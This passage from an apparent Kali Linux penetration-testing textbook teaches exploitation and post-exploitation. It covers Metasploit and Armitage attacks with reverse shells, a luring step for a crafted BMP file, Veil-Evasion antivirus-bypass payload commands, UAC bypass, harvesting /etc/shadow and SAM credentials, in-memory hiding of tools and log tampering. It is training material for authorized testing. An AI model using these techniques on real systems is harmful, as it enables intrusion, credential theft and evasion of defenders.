standard that governs the creation and use of code intended to be used
to compromise a data system. As a result, they can be difficult to use,
particularly for testers who lack expertise in application development.
• Inconsistent behaviors due to changing environments (new patches applied
to the target system and language variations in the target application) may
require significant alterations to the source code; again, this may require a
skilled developer.
• There is always the risk of freely available code containing malicious
functionalities. A penetration tester may think that he is conducting a
proof of concept (POC) exercise and will be unaware that the exploit has
also created a backdoor in the application being tested that could be used by
the developer.
To ensure consistent results and create a community of coders who follow consistent
practices, several exploit frameworks have been developed. The most popular
exploitation framework is the Metasploit Framework.
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The Metasploit Framework
The Metasploit Framework (MSF) is an open source tool designed to facilitate
penetration testing. Written in the Ruby programming language, it uses a modular
approach to facilitating exploits. This makes it easier to develop and code exploits,
and it also allows for complex attacks to be easily implemented.
MSF can present multiple interfaces to the backend modules that control
exploitation (console, CLI, and web). We will use the console interface for its speed,
because it presents the attack commands, and it has the required configuration
parameters in an easy-to-understand interface. To access this interface, enter
msfconsole in a command prompt or select it from a drop-down menu such as
Top 10 Security Tools. The following screenshot shows the splash screen when the
application launches:
The MSF consists of modules that are combined to affect an exploit. The modules
and their specific functions are as follows:
• Exploits: The code fragments that target specific vulnerabilities. Active
exploits will exploit a specific target, run until completed, and then exit
(for example, a buffer overflow). Passive exploits wait for incoming hosts,
such as web browsers or FTP clients, and exploit them when they connect.
• Payloads: These are the malicious code that implement commands
immediately following a successful exploitation.
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• Auxiliary modules: These modules do not establish or directly support
access between the tester and the target system; instead, they perform
related functions such as scanning, fuzzing, or sniffing that support the
exploitation phase.
• Post modules: Following a successful attack, these modules run on
compromised targets to gather useful data and pivot the attacker deeper
into the target network. We will learn more about the post modules in
Chapter 5, Post Exploit – Action on the Objective.
• Encoders: When exploits must bypass antivirus defenses, these modules
encode the payload so that it cannot be detected using signature matching
• No operations (NOPs): These are used to facilitate buffer overflows
during attacks.
These modules are used together to conduct reconnaissance and launch attacks
against targets. The steps for exploiting a target system using MSF can be
summarized as follows:
1. Choose and configure an exploit (the code that compromises a specific
vulnerability on the target system).
2. Check the target system to determine if it is susceptible to attack by the
exploit. This step is optional and is usually omitted to minimize the
3. Choose and configure the payload (the code that will be executed on the
target system following a successful exploitation. For example, a reverse
shell from the compromised system back to the source).
4. Choose an encoding technique to bypass detection controls (IDs/IPs or
antivirus software).
5. Execute the exploit.
The next example represents a simple attack against the target Linux-based
operating system Metasploitable2. It is available online at http://sourceforge.
net/projects/metasploitable/files/Metasploitable2. Metasploitable2
was designed to be vulnerable to attack, and it contains known and characterized
vulnerabilities that provide a standard platform for training and for validating
exploit tools.
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When installed as a virtual machine (covered in Appendix, Installing Kali Linux),
Metasploitable can be scanned using nmap, which identifies open ports and associated
applications. An excerpt of the nmap scan is shown in the following screenshot:
Several applications were identified by nmap in the preceding example. As a tester,
we should investigate each one for any known vulnerabilities. One of the first places
to start is, Metasploit's own collection of exploits. This can be searched from the
following command line using:
msf> search samba
The returned exploits for the samba service are listed and each of them is assigned
a relative ranking of how successful they are at achieving an exploit. The following
screenshot shows an excerpt of the available samba exploits:
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Chapter 4
The exploit/multi/samba/usermap_script exploit was selected for use in
the remainder of this example because it is ranked as excellent. This ranking was
determined by the Metasploit development team and identifies how reliably the
exploit works for a skilled tester against a stable target system. In real life, multiple
variables (tester skills, protective devices on the network, and modifications to the
operating system and hosted applications) can work together to significantly alter
the reliability of the exploit.
Additional information pertaining to that exploit was obtained using the following
info command:
msf> info exploit/multi/samba/usermap_script
The returned information includes references as well as the information shown in the
following screenshot:
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To instruct Metasploit that we will attack the target with this exploit, we issue the
following command:
msf> use exploit/multi/samba/usermap_script
Metasploit changes the command prompt from msf> to msf exploit
(usermap_script) >.
Metasploit prompts the tester to select the payload (a reverse shell from the
compromised system back to the attacker) and sets the other variables listed
as follows:
• Remote host (RHOST): This is the IP address of the system being attacked
• Remote port (RPORT): This is the port number that is used for the exploit
• Local host (LHOST): This is the IP address of the system used to launch
the attack
The attack is launched by entering the exploit command at the prompt after all
variables have been set. Metasploit initiates the attack and confirms that a reverse
shell is present by indicating command shell 1 opened and giving the IP addresses
that originate and terminate the reverse shell.
To verify that a shell is present, the tester can issue queries for the hostname,
username (uname -a), and whoami to confirm that the results are specific to the target
system that is located at a remote location. Take a look at the following screenshot:
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When a system is compromised to this extent, it is ready for the post-exploitation
activities ( see Chapter 5, Post Exploit – Action on the Objective and Chapter 6, Post Exploit
– Persistence). To add new exploits to Metasploit, in Ruby script (.rb) or Python (.py),
place them in the hidden .msf4 folder located in your home directory, and then
reload msfconsole.
Exploiting a vulnerable application
The Metasploit Framework is equally effective against vulnerabilities in the
operating system as well as third-party applications. In this example, we'll exploit
a buffer overflow vulnerability that was identified in Chasys Draw IES (Version
4.10.01). The vulnerability exists in the ReadFile function, which is used to store
user-provided data in an insecure way. Exploitation results in arbitrary code
execution under the context of the user.
To initiate the attack, the tester needs to generate a specially crafted BMP file and
then get the victim to open that file in the Chasys application. When this occurs, it
will compromise the base operating system (effective against Windows XP SP3 and
Windows 7 SP1).
The first step is to open msfconsole and set Metasploit to use exploit/windows/
fileformat/chasys_draw_ies_bof, as shown in the following screenshot:
Again, the exploit is a relatively simple exploit. It requires the tester to set a reverse
shell (reverse_tcp) from the compromised system back to the tester's system, the
Local Host (LHOST).
When the exploit is completed, it creates the specially-crafted BMP file, which is
stored with the default name of msf.bmp. To entice the target to open the file and
avoid a default name that may be detected by some devices, it is best to change
the filename to something that is more relevant to the intended target.
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The next step is to open a new instance of msfconsole, and set up a listener for
the incoming reverse TCP shell that will originate from the target when it is
compromised. A simple listener is shown in the following screenshot:
Once the victim opens the crafted BMP image file in the vulnerable application,
a meterpreter session is opened between the two systems. The msf prompt is
replaced by the meterpreter prompt and the tester can effectively access the remote
system with a command shell. One of the first steps after the compromise is to verify
that you are on the target system; as you can see in the following screenshot, the
sysinfo command identifies the computer name and operating system, verifying a
successful attack:
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Exploiting multiple targets with Armitage
Armitage is frequently overlooked by penetration testers who eschew its GUI
interface in favor of the traditional command-line input of the Metasploit console.
However, it possesses Metasploit's functionality while giving visibility to its many
possible options, making it a good alternative in complex testing environments.
Unlike Metasploit, it also allows you to test multiple targets at the same time—up to
512 targets at once.
To start Armitage, ensure that the database and Metasploit services are started using
the following command:
service postgresql start
service metasploit start
After that step, enter armitage over the command prompt to execute the command.
Armitage does not always execute cleanly and it may require the launch steps to be
repeated to ensure that it is functioning correctly.
To discover available targets, you can manually add a host by providing its IP
address or select an nmap scan from the Hosts tab on the menu bar. Armitage can
also enumerate targets using MSF auxiliary commands or DNS enumeration.
Armitage can also import host data from the following files: Acunetix, amap,
AppScan, Burp proxy, Foundstone, Microsoft Baseline Security Analyzer, Nessus
NBE and XML files, NetSparker, NeXpose, nmap, OpenVas, Qualys, and Retina.
The initial Armitage start-screen is shown in the following screenshot:
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Armitage allows you to set a host label by selecting a host using a right-click, and
then going to the Host menu and selecting the Set Label… function. This allows you
to flag a particular address or identify it by a common name, which is helpful when
using team-based testing. This process is shown in the following screenshot:
Armitage also supports dynamic workspaces—a filtered view of the network based
on network criteria, operating system, open ports and services, and labels. For
example, you may test a network and identify several servers that do not appear to
be patched to the extent of the remainder of the network. These can be highlighted
by giving them a label and then placing them in a priority workspace.
Once you have identified the target systems that are present on a network, you can
select specific modules to implement as part of the exploitation process. You can also
use the Attacks option in the menu bar to find attacks.
To exploit a host, select it with a right-click, navigate to the Attack item, and choose
an exploit (make sure that the operating system is set for the correct host; this does
not always happen automatically).
One interesting option is Hail Mary, located under the Attacks option. By selecting
this function, all identified systems are automatically subjected to exploits to achieve
the greatest number of possible compromises. This is a very noisy attack and should
therefore be used as a test choice of the last resort. It is also an excellent way to
determine if an intrusion detection system is implemented and configured properly!
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A system that is compromised shows up as an icon with a red border with electrical
sparks. In the next screenshot, two test systems have been compromised and there
are four active sessions in place between these systems and the tester. The Active
Sessions panel indicates the connections and identifies what exploit was used to
compromise the target. Take a look at the following screenshot that represents the
different options:
During a penetration test that was conducted, the Hail Mary
option identified two exploitable vulnerabilities with the target
and initiated two active sessions. Manual testing with the same
target eventually identified eight exploitable vulnerabilities, with
multiple communications channels between the compromised
system and the tester. Real-world tests of this type reinforce
the advantages and weaknesses of automated tools during the
penetration testing process.
Team testing with Armitage
Armitage is more than a GUI frontend for the Metasploit Framework; it is a
scriptable penetration testing tool that allows a team to use a single instance of the
Metasploit Framework so that the GUI displays the following functions:
• It uses the same session, allowing one tester to oversee the process, identify
findings of interest, and control the direction of testing.
• It runs scripts to automate testing tasks.
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• It shares downloaded files such as password files. This allows one team
member to focus on password cracking, while other team members continue
the exploitation phase.
• It communicates using a shared event log.
To take advantage of the team configuration, ensure that Armitage is not already
running and then invoke the teamserver script from a console prompt in the
Armitage directory, usually /usr/share/armitage, as follows:
[email protected]:/usr/share/armitage# ./teamserverip_address password
Ensure that the IP address is correct, as it is not verified by Armitage, and that all
team members can access the host on port 55553. When you start the Armitage
team server, it communicates with team members using an SSL certificate; team
members should verify that the SHA-1 hash of the certificate matches the server's
SSL certificate.
Do not connect to when the teamserver script is running, as Armitage
uses that IP address to connect and determine whether it should use SSL
(teamserver or a remote address) or non-SSL (localhost or msfrpcd). To connect
Armitage to teamserver locally, use the external IP address in the Host field.
Users can open one or more command shells, browse files, download data, and take
screenshots. Shell sessions are automatically locked when in use, and then unlocked.
However, some meterpreter scripts may fail to function over time.
To communicate as a team, the View option in the menu opens the shared event log.
You can make entries onto the log as you would if you were using IRC or some other
chat room, and the log keeps a permanent record of all comments.
Scripting the Armitage attack
Armitage includes the Cortana scripting language, which is based on Sleep, an
extensible language that resembles Perl. Cortana scripts may define keyboard
shortcuts, insert menus, and create unique user interfaces.
Scripts may be run as standalone entities (which requires that the Armitage team
server be active) or directly from Armitage. To load an existing script, select
Armitage in the main menu bar, and then select Scripts. A tabbed view will open
and a button will give you the option to load a script.
Armitage also provides a scripting environment which is invoked from the View |
Script Console tab of the menu, as seen in the following screenshot:
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A sample script to fully scan target systems using the Metasploit Framework could
be written as scanner.cna. Whenever a new host is added (host_add), the MSF port
scanner will scan for a defined list of TCP ports and for available UDP ports. Take a
look at the following code snippet, which shows the scanner script:
# MSF port scanner
onhost_add {
println("[*] MSF Port Scanner New Host OpenPorts on$1");
$console = console();
cmd($console, "use auxiliary/scanner/portscan/tcp");
cmd($console, "set THREADS 12");
cmd($console, "set PORTS 139, 143");
# enter other ports as required
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
cmd($console, "use auxiliary/scanner/discovery/udp_sweep");
cmd($console, "set THREADS 12");
cmd($console, "set BATCHSIZE 256");
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
Because Cortana has extensive hooks into the Metasploit Framework, scripts can be
used to automatically launch exploits, conduct post-exploitation activities, such as
tracking user activity, and facilitate multiuser activities across the attacker's kill chain.
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Bypassing IDs and antivirus detection
The exploitation phase of the kill chain is the most dangerous one for the penetration
tester or attacker—they are directly interacting with the target network or system
and there is a great chance for their activity to be logged or their identity discovered.
Again, stealth must be employed to minimize risks to the tester. Although no specific
methodology or tool is undetectable, there are some configuration changes and
specific tools that will make detection more difficult.
When considering remote exploits, most networks and systems employ various
types of defensive controls to minimize the risk of attack. Network devices include
routers, firewalls, intrusion detection and prevention systems, and malware
detection software.
To facilitate exploitation, most frameworks incorporate features to make the attack
somewhat stealthy. The Metasploit Framework allows you to manually set evasion
factors on an exploit-by-exploit basis; however, determining which factors (such
as encryption, port number, filenames, and others) can be difficult and change for
each particular ID. The Metasploit Framework also allows communication between
the target and the attacking systems to be encrypted (the windows/meterpreter/
reverse_tcp_rc4 payload), making it difficult for the exploit payload to be detected.
Metasploit Pro, available as a trial on the Kali distribution, includes the following to
specifically bypass intrusion detection systems:
• Scan speed can be adjusted in the settings for Discovery Scan, reducing the
interaction speed with the target by setting the speed to sneaky or paranoid
• Implement transport evasion by sending smaller TCP packets and increasing
the transmission time between the packets
• Reducing the number of simultaneous exploits launched against a
target system
• Application-specific evasion options for exploits that involve DCERPC,
HTTP, and SMB can be automatically set
Most antivirus software rely on signature matching to locate viruses and other
malware. They examine each executable for strings of code known to be present in
viruses (the signature) and create an alarm when a suspect string is detected. Many
of Metasploit's attacks rely on files that may possess a signature that, over time, has
been identified by antivirus vendors.
In response to this, the Metasploit Framework allows standalone executables to be
encoded to bypass detection. Unfortunately, extensive testing of these executables at
public sites, such as, have lessened their effectiveness in bypassing
the AV software.
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A new AV-evasion framework, written by Chris Truncer, called Veil-Evasion
(, is now providing effective protection against the
detection of standalone exploits. Veil-Evasion aggregates various shellcode injection
techniques into a framework that simplifies management.
As a framework, Veil-Evasion possesses several features, which includes
the following:
• It incorporates custom shellcode in a variety of programming languages,
including C, C#, and Python
• It can use Metasploit-generated shellcode
• It can integrate third-party tools such as Hyperion (encrypts an EXE file with
AES-128 bit encryption), PEScrambler, and BackDoor Factory
• The Veil-Evasion_evasion.cna script allows for Veil-Evasion to be
integrated into Armitage and its commercial version, Cobalt Strike
• Payloads can be generated and seamlessly substituted into all PsExec calls
• Users have the ability to reuse shellcode or implement their own
encryption methods
• It's functionality can be scripted to automate deployment
• Veil-Evasion is under constant development and the framework has
been extended with modules such as Veil-Evasion-Catapult (the payload
delivery system)
Veil-Evasion can generate an exploit payload; the standalone payloads include the
following options:
• Minimal Python installation to invoke shellcode; it uploads a minimal installation and the 7zip binary. The Python environment is
unzipped, invoking the shellcode. Since the only files that interact with the
victim are trusted Python libraries and the interpreter, the victim's AV does
not detect or alarm on any unusual activity.
• Sethc backdoor, which configures the victim's registry to launch the sticky
keys RDP backdoor.
• PowerShell shellcode injector.
When the payloads have been created, they can be delivered to the target in one of
the following two ways:
• Upload and execute using Impacket and PTH toolkit
• UNC invocation
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Veil-Evasion is available from the Kali repositories, such as Veil-Evasion, and it is
automatically installed by simply entering apt-get install veil-evasion in a
command prompt.
If you receive any errors during installation, re-run the
/usr/share/veil-evasion/setup/ script.
Veil-Evasion presents the user with the main menu, which provides the number of
payload modules that are loaded as well as the available commands. Typing list
will list all available payloads, list langs will list the available language payloads,
and list <language> will list the payloads for a specific language. Veil-Evasion's
initial launch screen is shown in the following screenshot:
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Chapter 4
Veil-Evasion is undergoing rapid development with significant releases on a
monthly basis and important upgrades occurring more frequently. Presently, there
are 24 payloads designed to bypass antivirus by employing encryption or direct
injection into the memory space. These payloads are shown in the next screenshot:
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To obtain information on a specific payload, type info<payload number / payload
name> or info <tab> to autocomplete the payloads that are available. You can also
just enter the number from the list. In the following example, we entered 19 to select
the python/shellcode_inject/aes_encrypt payload:
The exploit includes an expire_payload option. If the module is not executed by
the target user within a specified timeframe, it is rendered inoperable. This function
contributes to the stealthiness of the attack.
The required options include the name of the options as well as the default values
and descriptions. If a required value isn't completed by default, the tester will need
to input a value before the payload can be generated. To set the value for an option,
enter set <option name> and then type the desired value. To accept the default
options and create the exploit, type generate in the command prompt.
If the payload uses shellcode, you will be presented with the shellcode menu, where
you can select msfvenom (the default shellcode) or a custom shellcode. If the custom
shellcode option is selected, enter the shellcode in the form of \x01\x02, without
quotes and newlines (\n). If the default msfvenom is selected, you will be prompted
with the default payload choice of windows/meterpreter/reverse_tcp. If you wish
to use another payload, press Tab to complete the available payloads. The available
payloads are shown in the following screenshot:
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In the following example, the [tab] command was used to demonstrate some of the
available payloads; however, the default (windows/meterpreter/reverse_tcp) was
selected, as shown in the following screenshot:
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The user will then be presented with the output menu with a prompt to choose
the base name for the generated payload files. If the payload was Python-based
and you selected compile_to_exe as an option, the user will have the option
of either using Pyinstaller to create the EXE file, or generating Py2Exe files,
as shown in the following screenshot:
The final screen displays information on the generated payload, as shown in the
following screenshot:
The exploit could also have been created directly from a command line using the
following options:
[email protected]:~./ -p python/shellcode_inject/
aes_encrypt -o -output --msfpayload windows/meterpreter/
reverse_tcp --msfoptions LHOST= LPORT=4444
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Once an exploit has been created, the tester should verify the payload against
VirusTotal to ensure that it will not trigger an alert when it is placed on the target
system. If the payload sample is submitted directly to VirusTotal and it's behavior
flags it as malicious software, then a signature update against the submission can
be released by antivirus (AV) vendors in as little as one hour. This is why users are
clearly admonished with the message "don't submit samples to any online scanner!"
Veil-Evasion allows testers to use a safe check against VirusTotal. When any payload
is created, a SHA1 hash is created and added to hashes.txt, located in the ~/veiloutput directory. Testers can invoke the checkvt script to submit the hashes to
VirusTotal, which will check the SHA1 hash values against its malware database. If a
Veil-Evasion payload triggers a match, then the tester knows that it may be detected
by the target system. If it does not trigger a match, then the exploit payload will
bypass the antivirus software. A successful lookup (not detectable by AV) using the
checkvt command is shown as follows:
Testing, thus far supports the finding that if checkvt does not find a match on
VirusTotal, the payload will not be detected by the target's antivirus software. To
use with the Metasploit Framework, use exploit/multi/handler and set PAYLOAD
to be windows/meterpreter/reverse_tcp (the same as the Veil-Evasion payload
option), with the same LHOST and LPORT used with Veil-Evasion as well. When the
listener is functional, send the exploit to the target system. When the listeners launch
it, it will establish a reverse shell back to the attacker's system.
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In this chapter, we focused on exploits as the tool that converts the findings from
reconnaissance into a defined action that establishes access between the tester and
the target.
Kali provides several tools to facilitate the development, selection, and activation
of exploits, including the internal exploit-db database as well as several frameworks
that simplify the use and management of the exploits. Among these frameworks, the
Metasploit Framework and Armitage are particularly important; however,
Veil-Evasion enhances both with its ability to bypass antivirus detection.
The next two chapters focus on the most important part of the attacker's kill chain—the
post-exploitation activities. This is the part of the attack where the attackers achieve
their objective. Typical post-exploitation activities include theft and exfiltration of data
(proprietary or financial information), horizontal escalation by taking advantage of
poor access controls, and vertical escalation by theft of user credentials.
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Post Exploit – Action
on the Objective
In the modern world of hacking and system attacks, attackers are not as concerned
with exploitation as they are with what can be done with that access. This is the part
of the kill chain where the attacker achieves the full value of the attack.
Once a system has been compromised, the attacker generally performs the
following activities:
• Conducts a rapid assessment to characterize the local environment
(infrastructure, connectivity, accounts, presence of target files, and
applications that can facilitate further attacks)
• Locates and copies or modifies target files of interest, such as datafiles
(proprietary data and financial information)
• Creates additional accounts and modifies the system to support
post-exploitation activities
• Attempts to vertically escalate the privilege level used for access by
capturing administrator or system-level credentials
• Attempts to attack other data systems (horizontal escalation) by pivoting the
attack through the compromised system to the remainder of the network
• Installs persistent backdoors and covert channels to retain control and have
secure communications with the compromised system (this is covered in
Chapter 6, Post Exploit – Persistence)
• Removes indications of the attack from the compromised system
To be successful, the post-exploit activities require comprehensive knowledge of the
target's operating system and file structure to ensure that protective controls can be
bypassed. The first post-exploitation step is a reconnaissance of the compromised
system in the context of the local network.
Post Exploit – Action on the Objective
In this chapter, you will learn the following:
• How to bypass Windows User Account Control (UAC)
• How to conduct a rapid reconnaissance of a compromised system
• How to obtain sensitive data from a compromised system (pillaging)
• How to create additional accounts
• How to use Metasploit Framework to conduct post-exploitation activities
• Vertical and horizontal escalation techniques to improve your access rights
and increase the number of compromised accounts
• How to use anti-forensic techniques to cover your tracks and prevent the
compromise from being discovered
Bypassing Windows User Account
In Windows Vista and higher versions, Microsoft introduced security controls to
restrict processes from running at three different integrity levels: high, medium, and
low. A high integrity process has administrator rights, a medium-level process runs
with a standard user's rights, and a low integrity process is restricted, enforcing that
programs do minimal damage if they are compromised.
To perform any privileged actions, a program must run as an administrator and
comply with the UAC settings. The four UAC settings are as follows:
• Always notify: This is the most stringent setting, and it will prompt the local
user whenever any program wants to use higher level privileges.
• Notify me only when programs try to make changes to my computer:
This is the default UAC setting. It does not prompt the user when a native
Windows program requests higher level privileges. However, it will prompt
if a third-party program wants elevated privileges.
• Notify me only when programs try to make changes to my computer
(don't dim my desktop): This is the same as the default setting, but it does
not dim the system's monitor when prompting the user.
• Never notify: This option reverts the system to pre-Vista days. If the user is
an administrator, all programs will run with high integrity.
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Therefore, immediately after exploitation, the tester (and attacker) wants to know the
following two things:
• Who is the user that the system has identified?
• What rights do they have on the system?
This can be determined using the following command:
C:\> whoami /groups
A compromised system is operating in a high-integrity context, as shown by the
Mandatory Label\High Mandatory Level Label in the following screenshot:
If the Label is Mandatory Label\Medium Mandatory Level, the tester will need
to elevate from standard user privileges to administrator rights for many of the
post-exploit steps to be successful.
The first option to elevate privileges is to run exploit/windows/local/ask,
from Metasploit, which launches the RunAs attack. This will create an executable
that, when invoked, will run a program to request elevated rights. The executable
should be created using the EXE::Custom option or encrypted using Veil-Evasion
to avoid detection by the local antivirus.
The disadvantage of the RunAs attack is that the user will be prompted that a
program from an unknown publisher wants to make changes to the computer.
This alert may cause the privilege escalation to be identified as an attack.
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If the system's current user is in an administrator's group, and if the UAC is
set to the default Notify me only when programs try to make changes to my
computer (it will not work if set to Always Notify), an attacker will be able to use the
Metasploit exploit/windows/local/bypassuac module to elevate their privileges.
The bypassuac module creates multiple artifacts on the target system and can be
recognized by most antivirus software. However, the exploit/windows/local/
bypassuac_inject module places the executable directly into a reflective DLL
running in memory, and it does not touch the hard disk, minimizing the opportunity
for detection by the antivirus software.
Some caveats when attempting to bypass the UAC controls are as follows:
• Bypass UAC attacks do not work against Windows Vista where the user
needs to acknowledge every privileged access.
• Windows 8 remains vulnerable to this attack. However, Metasploit
Framework attack does not presently work with Windows 8.1. If it is
attempted, the user will be prompted to click on an OK button before the
attack can obtain elevated privileges—which is hardly a stealthy attack.
Attackers can modify the attack by selecting to use exploit/windows/
local/ask, which will improve the chance of success.
• When considering system-to-system movement (horizontal/lateral
escalation), and if the current user is a domain user with local admin
privileges on other systems, you can use the existing authentication token
to gain access and bypass UAC. A common attack to achieve this is the
Metasploit exploit/windows/local/current_user_psexec.
Conducting a rapid reconnaissance of
a compromised system
Once a system has been compromised, the attacker needs to gain critical information
about that system, its network environment, users, and user accounts. Usually,
they will enter a series of commands or a script invoking these commands from
the shell prompt.
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If the compromised system is based on the Unix platform, typical local
reconnaissance commands will include the following:
Use the copy command to access and review the
system's current DNS settings. Because it is a global
file with read privileges, it will not trigger alarms
when accessed.
/etc/passwd and /etc/shadow
These are system files that contains username and
password hashes. It can be copied by a person with
root-level access, and the passwords can be broken
using a tool such as John the Ripper.
whoami and who -a
Identify the users on a local system.
ifconfig -a, iptables -L -n, Provide networking information. ifconfig -a
and netstat -r
provides IP addressing details, iptables -L -n
lists all of the rules held in the local firewall (if
present), and netstat -r displays the routing
information maintained by the kernel.
uname -a
Prints the kernel version.
ps aux
Prints currently running services, the process ID,
and additional information.
dpkg -l yum list | grep
installed and dpkg -l rpm
-qa --last | head
Identify the installed software packages.
These commands contain a brief synopsis of the available options. Refer to the
appropriate command's help file for complete information on how it can be used.
For a Windows system, the following commands will be entered:
whoami /all
Lists the current user, SID, user privileges,
and groups.
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ipconfig /all and
ipconfig /displaydns
Display information regarding the network interface,
connectivity protocols, and local DNS cache.
netstat -bnao and
netstat -r
List the ports and connections with corresponding
processes (-b) to no lookups (-n), all connections
(-a), and parent process IDs (-o). The -r option
displays the routing table. They require administrator
rights to run.
net view and
net view /domain
Queries NBNS/SMB to locate all of the hosts in the
current workgroup or domain. All of the domains
available to the host are given by /domain .
net user /domain
Lists all of the users in the defined domain.
net user %username% /
Obtains information on the current user if they are
part of the queried domain (if you are local user, then
/domain is not required). It includes the login times,
the last time that the password was changed, the
logon scripts, and the group memberships.
net accounts
Prints the password policy for the local system.
To print the password policy for the domain,
use net accounts /domain.
net localgroup
Prints the members of the administrator's local group.
Use the /domain switch to obtain the administrators
for the current domain.
net group "Domain
Controllers" /domain
Prints the list of domain controllers for the current
net share
Displays the current shared folders, which may not
provide sufficient access controls for the data shared
within the folders, and the paths that they point to.
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Using the WMIC scripting language
On newer systems, attackers and penetration testers take advantage of built-in
scripting languages, for example, Windows Management Instrumentation
Command-line (WMIC), a command-line and scripting interface that is used
to simplify access to Windows Instrumentation. If the compromised system
supports WMIC, several commands can be used to gather information. Refer to
the following table:
wmic nicconfig get
Obtains the IP address and MAC address
wmic computersystem get
Verifies the account that was compromised
wmic netlogin get name,
Determines who used this system last and when
they last logged on
wmic desktop get
wmic logon get
Determines whether the screensavers are password
protected and what the timeout is
wmic process get
caption, executablepath,
wmic process where
name="process_name" call
wmic os get name,
Identifies system processes
wmic product get name,
Identifies installed software
wmic product where
name="name' call uninstall
wmic share get /ALL
Uninstalls or removes defined software packages
Determines which logon methods are supported
Terminates specific processes
Determines the system's operating system
Identifies the shares accessible by the user
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wmic /node:"machinename"
path Win32_
call SetAllowTSConnections
Starts RDP remotely
wmic nteventlog get path,
filename, writeable
Finds all of the system event logs and ensures that
they can be modified (used when it is time to cover
your tracks)
PowerShell is a scripting language built on the .NET Framework that runs from a
console, giving the user access to the Windows filesystem and objects such as the
registry. It is installed by default on the Windows 7 operating system and higher
versions. PowerShell extends the scripting support and automation offered by
WMIC by permitting the use of shell integration and interoperability on both local
and remote targets.
PowerShell gives testers access to a shell and scripting language on a compromised
system. Since it is native to the Windows operating system, its use of the commands
does not trigger the antivirus software. When scripts are run on a remote system,
PowerShell does not write to the disk, bypassing the antivirus and whitelisting the
controls (assuming that the user has permitted the use of PowerShell).
PowerShell supports a number of built-in functions that are referred to as cmdlets.
One of the advantages of PowerShell is that cmdlets are aliased to common Unix
commands, so entering the ls command will return a typical directory listing, as
shown in the following screenshot:
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PowerShell is a rich language capable of supporting very complex operations; it is
recommended that the user spend the time to become familiar with its use. Some of
the simpler commands that can be used immediately following a compromise are
described in the following table:
Get-Host | Select Version
Identifies the installed security patches
and system hotfixes.
Identifies the group names and usernames.
Get-Process, Get-Service
Lists the current processes and services.
gwmi win32_useraccount
Invokes WMI to list the user accounts.
Invokes WMI to list the SIDs, names,
and domain groups.
Identifies the version of PowerShell used
by the victim's system. Some cmdlets are
added or invoked in different versions.
Penetration testers can use Windows native commands, DLLs, .NET functions,
WMI calls, and PowerShell cmdlets together to create PowerShell scripts with the
extension .ps1.
During a recent penetration test, we were prohibited from
installing any executable software on the client's systems. We
used a PowerShell keylogger on a compromised system to grab
administrator-level credentials and then compromised most of the
systems on the network. The most effective exploit and post-exploit
scripts, including the keylogger, are part of Nikhil Mittal's Nishang
package (
Reconnaissance should also extend to the local network. Since you are working
"blind," you will need to create a map of live systems and subnets that the
compromised host can communicate with. Start by entering IFCONFIG (Unix-based
systems) or IPCONFIG /ALL (Windows systems) in the shell prompt. This will allow
an attacker to determine the following:
• Whether DHCP addressing is enabled.
• The local IP address, which will also identify at least one active subnet.
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• The gateway IP address and DNS server address. System administrators
usually follow a numbering convention across the network, and if an
attacker knows one address, such as a gateway server, they
will ping addresses such as,, and so on to find
additional subnets.
• The domain name used to leverage Active Directory accounts.
If the attacking system and the target system are using Windows, the net view
command can be used to enumerate other Windows systems on the network.
Attackers use the netstat -rn command to review the routing table, which may
contain static routes to networks or systems of interest.
The local network can be scanned using nmap to sniff for ARP broadcasts. In
addition, Kali has several tools that can be used for an SNMP endpoint analysis,
including nmap, onesixtyone, and snmpcheck.
Deploying a packet sniffer to map traffic will help you identify hostnames, active
subnets, and domain names. If DHCP addressing is not enabled, it will also allow
attackers to identify any unused, static IP addresses. Kali is preconfigured with
Wireshark (a GUI-based packet sniffer) but you can also use tshark in a postexploitation script or from the command line, as shown in the following screenshot:
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Finding and taking sensitive
data – pillaging the target
The term pillaging (sometimes known as pilfering) is a holdover from the days when
hackers who had successfully compromised a system saw themselves as pirates racing
to their target to steal or damage as much data as possible. The terms have survived as
a reference to the much more careful practice of stealing or modifying proprietary or
financial data when the objective of the exploit has been achieved.
The attacker can then focus on the secondary target—system files that will provide
information to support additional attacks. The choice of the secondary files will
depend on the operating system of the target. For example, if the compromised
system is Unix, then the attacker will also target the following:
• The system and configuration files (usually in the /etc directory, but
depending on the implementation, they may be in /usr/local/etc or
other locations)
• The password files (/etc/password and /etc/shadow)
• The configuration files and public/private keys in the .ssh directory
• The public and private key rings that may be contained in the
.gnupg directory
• The e-mail and data files
In a Windows system, the attacker will target the following:
• The system memory, which can be used to extract passwords, encryption
keys, and so on
• The system registry files
• The Security Accounts Manager (SAM) database that contains hashed
versions of the password, or alternative versions of the SAM database which
may be found in %SYSTEMROOT%\repair\SAM and %SYSTEMROOT%\System32\
• Any other password or seed files used for encryption
• The e-mail and data files
Don't forget to review folders that contain temporary items, such
as attachments. For example, UserProfile\AppData\Local\
Microsoft\Windows\Temporary Internet Files\ may
contain files, images, and cookies that may be of interest.
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As stated, the system memory contains a significant amount of information for any
attacker. Therefore, it is usually a priority file that you need to obtain. The system
memory can be downloaded as a single image file from several sources as follows:
• By uploading a tool to the compromised system and then directly
copying the memory (the tools include Belkasoft RAM capturer,
MandiantMemoryze, and MonsolsDumpIt).
• By copying Windows hibernation file, hiberfil.sys and then using
Volatility to decrypt and analyze the file. Volatility, found on Kali in the
Forensics menu, is a framework that was written to analyze memory
dumps from the system RAM and other files containing system memory. It
relies on plugins written in Python to analyze the memory and extract data,
such as encryption keys, passwords, registry information, processes, and
connectivity information.
• By copying a virtual machine and converting the VMEM file to a
memory file.
If you upload a program designed to capture memory onto a compromised
system, it is possible that this particular application will be identified
as malicious software by an antivirus software. Most antivirus software
applications recognize the hash signature and behavior of memory
acquisition software, and act to protect the sensitive contents of the physical
memory by raising an alarm if it is at risk of disclosure. The acquisition
software will be quarantined, and the target will receive a warning alerting
them of the attack.
To avoid this, use Metasploit Framework to run the executable completely
in the target's memory using the following command:
meterpreter> execute -H -m -d calc.exe -f <memory
executable + parameters>
The previous command executes calc.exe as a dummy executable
but uploads the memory acquisition executable to run in its process
space instead.
The executable doesn't show up in process lists, such as Task Manager, and
detection using data forensic techniques is much harder because it's not
written to disk. Furthermore, it will avoid the system's antivirus software,
which generally does not scan the memory space in search of malware.
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Once the physical memory has been downloaded, it can be analyzed using Volatility
Framework, a collection of Python scripts designed to forensically analyze memory.
If the operating system is supported, Volatility will scan the memory file and extract
the following:
• The image information and system data sufficient to tie the image to its
source system.
• The running processes, loaded DLLs, threads, sockets, connections,
and modules.
